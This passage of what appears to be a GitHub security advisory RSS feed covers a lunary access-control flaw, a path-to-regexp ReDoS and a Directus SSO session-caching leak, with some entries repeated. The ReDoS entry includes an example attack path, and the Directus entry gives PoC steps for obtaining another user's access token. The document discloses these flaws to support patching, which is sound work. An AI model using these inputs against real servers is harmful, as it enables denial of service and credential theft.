        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-21529&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-21529&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/lukeed/dset/commit/16d6154e085bef01e99f01330e5a421a7f098afa&quot;&gt;https://github.com/lukeed/dset/commit/16d6154e085bef01e99f01330e5a421a7f098afa&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-JS-DSET-7116691&quot;&gt;https://security.snyk.io/vuln/SNYK-JS-DSET-7116691&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-f6v4-cf5j-vf3w&quot;&gt;https://github.com/advisories/GHSA-f6v4-cf5j-vf3w&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-f6v4-cf5j-vf3w</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-f6v4-cf5j-vf3w</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[lunary] lunary-ai/lunary Access Control Vulnerability in Prompt Variation Management</title>
      <description>&lt;p&gt;In lunary-ai/lunary version 1.2.13, an insufficient granularity of access control vulnerability allows users to create, update, get, and delete prompt variations for datasets not owned by their organization. This issue arises due to the application not properly validating the ownership of dataset prompts and their variations against the organization or project of the requesting user. As a result, unauthorized modifications to dataset prompts can occur, leading to altered or removed dataset prompts without proper authorization. This vulnerability impacts the integrity and consistency of dataset information, potentially affecting the results of experiments.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-5389&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-5389&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://huntr.com/bounties/3ca5309f-5615-4d5b-8043-968af220d7a2&quot;&gt;https://huntr.com/bounties/3ca5309f-5615-4d5b-8043-968af220d7a2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/lunary-ai/lunary/commit/35dd4af0001a54ccb14276a1546eb977f82c0c5e&quot;&gt;https://github.com/lunary-ai/lunary/commit/35dd4af0001a54ccb14276a1546eb977f82c0c5e&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-3mwc-2cj7-gx8c&quot;&gt;https://github.com/advisories/GHSA-3mwc-2cj7-gx8c&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-3mwc-2cj7-gx8c</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-3mwc-2cj7-gx8c</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[path-to-regexp] path-to-regexp outputs backtracking regular expressions</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (&lt;code&gt;.&lt;/code&gt;). For example, &lt;code&gt;/:a-:b&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;For users of 0.1, upgrade to &lt;code&gt;0.1.10&lt;/code&gt;. All other users should upgrade to &lt;code&gt;8.0.0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;These versions add backtrack protection when a custom regex pattern is not provided:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10&quot;&gt;0.1.10&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0&quot;&gt;1.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0&quot;&gt;3.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0&quot;&gt;7.1.0&lt;/a&gt; can enable &lt;code&gt;strict: true&lt;/code&gt; and get an error when the regular expression might be bad.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0&quot;&gt;8.0.0&lt;/a&gt; removes the features that can cause a ReDoS.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change &lt;code&gt;/:a-:b&lt;/code&gt; to &lt;code&gt;/:a-:b([^-/]+)&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Using &lt;code&gt;/:a-:b&lt;/code&gt; will produce the regular expression &lt;code&gt;/^\/([^\/]+?)-([^\/]+?)\/?$/&lt;/code&gt;. This can be exploited by a path such as &lt;code&gt;/a${&#39;-a&#39;.repeat(8_000)}/a&lt;/code&gt;. &lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt; has a good example of why this occurs, but the TL;DR is the &lt;code&gt;/a&lt;/code&gt; at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the &lt;code&gt;:a-:b&lt;/code&gt; on the repeated 8,000 &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://blakeembrey.com/posts/2024-09-web-redos/&quot;&gt;Detailed blog post&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9wv6-86v2-598j</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9wv6-86v2-598j</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[path-to-regexp] path-to-regexp outputs backtracking regular expressions</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (&lt;code&gt;.&lt;/code&gt;). For example, &lt;code&gt;/:a-:b&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;For users of 0.1, upgrade to &lt;code&gt;0.1.10&lt;/code&gt;. All other users should upgrade to &lt;code&gt;8.0.0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;These versions add backtrack protection when a custom regex pattern is not provided:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10&quot;&gt;0.1.10&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0&quot;&gt;1.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0&quot;&gt;3.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0&quot;&gt;7.1.0&lt;/a&gt; can enable &lt;code&gt;strict: true&lt;/code&gt; and get an error when the regular expression might be bad.&lt;/p&gt;
        &lt;p&gt;Version &lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0&quot;&gt;8.0.0&lt;/a&gt; removes the features that can cause a ReDoS.&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change &lt;code&gt;/:a-:b&lt;/code&gt; to &lt;code&gt;/:a-:b([^-/]+)&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster.&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;Using &lt;code&gt;/:a-:b&lt;/code&gt; will produce the regular expression &lt;code&gt;/^\/([^\/]+?)-([^\/]+?)\/?$/&lt;/code&gt;. This can be exploited by a path such as &lt;code&gt;/a${&#39;-a&#39;.repeat(8_000)}/a&lt;/code&gt;. &lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt; has a good example of why this occurs, but the TL;DR is the &lt;code&gt;/a&lt;/code&gt; at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the &lt;code&gt;:a-:b&lt;/code&gt; on the repeated 8,000 &lt;code&gt;-a&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS&quot;&gt;OWASP&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://blakeembrey.com/posts/2024-09-web-redos/&quot;&gt;Detailed blog post&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/29b96b4a1de52824e1ca0f49a701183cc4ed476f&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/60f2121e9b66b7b622cc01080df0aabda9eedee6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45296&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/925ac8e3c5780b02f58cbd4e52f95da8ad2ac485&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/d31670ae8f6e69cbfd56e835742195b7d10942ef&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&quot;&gt;https://github.com/pillarjs/path-to-regexp/commit/f1253b47b347dcb909e3e80b0eb2649109e59894&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&quot;&gt;https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-9wv6-86v2-598j&quot;&gt;https://github.com/advisories/GHSA-9wv6-86v2-598j&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9wv6-86v2-598j</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9wv6-86v2-598j</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[@directus/api] Session is cached for OpenID and OAuth2 if `redirect` is not used</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include &lt;code&gt;redirect&lt;/code&gt; query string.&lt;/p&gt;
        &lt;p&gt;For example:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Project is configured with OpenID or OAuth2&lt;/li&gt;
        &lt;li&gt;Project is configured with cache enabled&lt;/li&gt;
        &lt;li&gt;User tries to login via SSO link, but without &lt;code&gt;redirect&lt;/code&gt; query string&lt;/li&gt;
        &lt;li&gt;After successful login, credentials are cached&lt;/li&gt;
        &lt;li&gt;If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;The SSO link is something like &lt;code&gt;https://directus.example.com/auth/login/openid/callback&lt;/code&gt;, where &lt;code&gt;openid&lt;/code&gt; is the name of the OpenID provider configured in Directus&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;This happens because on that endpoint for both OpenId and Oauth2 Directus is using the &lt;code&gt;respond&lt;/code&gt; middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
        For OpenID, this can be seen here:
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;
        And for OAuth2 can be seen here
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Create a new Directus project&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_ENABLED&lt;/code&gt; to true&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_STORE&lt;/code&gt; to &lt;code&gt;redis&lt;/code&gt; for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;REDIS&lt;/code&gt; with redis string or redis host, port, user, etc.&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;AUTH_PROVIDERS&lt;/code&gt; to &lt;code&gt;openid&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;PUBLIC_URL&lt;/code&gt; to the the main URL of your project . For example, &lt;code&gt;PUBLIC_URL: http://localhost:8055&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;AUTH_OPENID_CLIENT_ID&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_CLIENT_SECRET&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_ISSUER_URL&lt;/code&gt; with proper OpenID configurations&lt;/li&gt;
        &lt;li&gt;Be sure that on OpenID external app you have configured Redirect URI to &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Run Directus&lt;/li&gt;
        &lt;li&gt;Open the SSO link like &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Do the authentication on the OpenID external webpage&lt;/li&gt;
        &lt;li&gt;Verify that it you got redirected to a page with a JSON including &lt;code&gt;access_token&lt;/code&gt; property&lt;/li&gt;
        &lt;li&gt;Be sure all anonymous mode windows are closed&lt;/li&gt;
        &lt;li&gt;Open an anonymous window and go to the SSO Link &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt; and see you have the same credentials, even though you don&#39;t have any session because you are in anonymous mode&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;All projects using OpenID or OAuth 2, that does not include &lt;code&gt;redirect&lt;/code&gt; query string on loggin in users.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&quot;&gt;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&quot;&gt;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-cff8-x7jv-4fm8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-cff8-x7jv-4fm8</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[@directus/api] Session is cached for OpenID and OAuth2 if `redirect` is not used</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include &lt;code&gt;redirect&lt;/code&gt; query string.&lt;/p&gt;
        &lt;p&gt;For example:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Project is configured with OpenID or OAuth2&lt;/li&gt;
        &lt;li&gt;Project is configured with cache enabled&lt;/li&gt;
        &lt;li&gt;User tries to login via SSO link, but without &lt;code&gt;redirect&lt;/code&gt; query string&lt;/li&gt;
        &lt;li&gt;After successful login, credentials are cached&lt;/li&gt;
        &lt;li&gt;If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;The SSO link is something like &lt;code&gt;https://directus.example.com/auth/login/openid/callback&lt;/code&gt;, where &lt;code&gt;openid&lt;/code&gt; is the name of the OpenID provider configured in Directus&lt;/p&gt;
        &lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;
        &lt;p&gt;This happens because on that endpoint for both OpenId and Oauth2 Directus is using the &lt;code&gt;respond&lt;/code&gt; middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.
        For OpenID, this can be seen here:
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;
        And for OAuth2 can be seen here
        &lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;Create a new Directus project&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_ENABLED&lt;/code&gt; to true&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;CACHE_STORE&lt;/code&gt; to &lt;code&gt;redis&lt;/code&gt; for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;REDIS&lt;/code&gt; with redis string or redis host, port, user, etc.&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;AUTH_PROVIDERS&lt;/code&gt; to &lt;code&gt;openid&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Set &lt;code&gt;PUBLIC_URL&lt;/code&gt; to the the main URL of your project . For example, &lt;code&gt;PUBLIC_URL: http://localhost:8055&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Configure &lt;code&gt;AUTH_OPENID_CLIENT_ID&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_CLIENT_SECRET&lt;/code&gt;, &lt;code&gt;AUTH_OPENID_ISSUER_URL&lt;/code&gt; with proper OpenID configurations&lt;/li&gt;
        &lt;li&gt;Be sure that on OpenID external app you have configured Redirect URI to &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Run Directus&lt;/li&gt;
        &lt;li&gt;Open the SSO link like &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Do the authentication on the OpenID external webpage&lt;/li&gt;
        &lt;li&gt;Verify that it you got redirected to a page with a JSON including &lt;code&gt;access_token&lt;/code&gt; property&lt;/li&gt;
        &lt;li&gt;Be sure all anonymous mode windows are closed&lt;/li&gt;
        &lt;li&gt;Open an anonymous window and go to the SSO Link &lt;code&gt;http://localhost:8055/auth/login/openid/callback&lt;/code&gt; and see you have the same credentials, even though you don&#39;t have any session because you are in anonymous mode&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;All projects using OpenID or OAuth 2, that does not include &lt;code&gt;redirect&lt;/code&gt; query string on loggin in users.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&quot;&gt;https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&quot;&gt;https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&quot;&gt;https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-45596&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-cff8-x7jv-4fm8&quot;&gt;https://github.com/advisories/GHSA-cff8-x7jv-4fm8&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-cff8-x7jv-4fm8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-cff8-x7jv-4fm8</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[directus] Session is cached for OpenID and OAuth2 if `redirect` is not used</title>
      <description>&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;/h3&gt;
        &lt;p&gt;Unauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include &lt;code&gt;redirect&lt;/code&gt; query string.&lt;/p&gt;
        &lt;p&gt;For example:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Project is configured with OpenID or OAuth2&lt;/li&gt;
        &lt;li&gt;Project is configured with cache enabled&lt;/li&gt;
